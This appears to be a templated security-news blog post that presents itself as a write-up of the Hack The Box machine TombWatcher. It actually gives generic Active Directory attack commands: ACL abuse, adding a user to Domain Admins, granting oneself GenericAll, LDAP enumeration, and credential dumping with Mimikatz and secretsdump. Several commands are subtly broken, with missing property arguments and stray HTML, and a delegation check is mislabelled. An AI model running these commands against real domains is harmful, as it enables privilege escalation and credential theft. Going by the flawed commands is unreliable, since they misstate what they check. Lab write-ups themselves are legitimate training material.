Owned TombWatcher from Hack The Box: ACL Abuse and Beyond BloodHound Enumeration

Listen to this Post

Featured Image
Luis Moret’s recent Hack The Box (HTB) challenge, TombWatcher, highlights advanced Active Directory (AD) exploitation techniques, particularly ACL (Access Control List) abuse and deep enumeration beyond BloodHound’s default visibility. The machine requires digging into hidden attack paths to uncover privilege escalation opportunities.

You Should Know:

1. ACL Abuse Commands

ACLs define permissions for AD objects. Attackers can exploit misconfigured ACLs to escalate privileges.

 Enumerate ACLs of a target object (PowerShell) 
Get-ADObject -Identity "CN=Target,OU=Users,DC=domain,DC=com" -Properties  | Select-Object -ExpandProperty nTSecurityDescriptor

Check for GenericAll rights (PowerShell) 
(Get-Acl "AD:\CN=Target,OU=Users,DC=domain,DC=com").Access | Where-Object { $_.ActiveDirectoryRights -like "GenericAll" }

Abuse GenericAll to add a user to a privileged group 
Add-ADGroupMember -Identity "Domain Admins" -Members "CompromisedUser" 

2. BloodHound Deep Enumeration

BloodHound may miss hidden relationships. Manual LDAP queries help uncover hidden paths:

 LDAP query for sensitive users (Linux) 
ldapsearch -x -H ldap://domain.com -D "[email protected]" -w "password" -b "DC=domain,DC=com" "(adminCount=1)"

Check for constrained delegation misconfigurations 
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties<br />

3. Privilege Escalation via ACL Abuse

If a user has WriteDACL rights, they can modify ACLs to grant themselves privileges:

 Grant yourself GenericAll rights 
$acl = Get-Acl "AD:\CN=Target,OU=Users,DC=domain,DC=com" 
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule("CompromisedUser","GenericAll","Allow") 
$acl.AddAccessRule($ace) 
Set-Acl -Path "AD:\CN=Target,OU=Users,DC=domain,DC=com" -AclObject $acl 

4. Post-Exploitation: Dumping Credentials

After gaining admin access, extract credentials:

 Mimikatz (Windows) 
sekurlsa::logonpasswords

Secretsdump (Impacket - Linux) 
secretsdump.py DOMAIN/user:password@target-ip 

What Undercode Say:

ACL abuse remains a critical attack vector in AD environments. BloodHound provides a great starting point, but manual LDAP enumeration reveals hidden attack paths. Always check for:
– GenericAll, WriteDACL, and WriteOwner permissions
– Constrained/Unconstrained Delegation misconfigurations
– AdminCount=1 users (often legacy admins)

Expected Output:

 Example: Finding users with AdminCount=1 
ldapsearch -x -H ldap://domain.local -D "[email protected]" -w "Pass123" -b "DC=domain,DC=local" "(adminCount=1)" 
 Output: 
 dn: CN=AdminUser,OU=Admins,DC=domain,DC=local 
 adminCount: 1 

Prediction:

As AD environments grow more complex, automated tools like BloodHound will improve, but attackers will continue exploiting overlooked manual misconfigurations. Expect more ACL-based attacks in 2025.

Reference:

IT/Security Reporter URL:

Reported By: Luis Moret – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram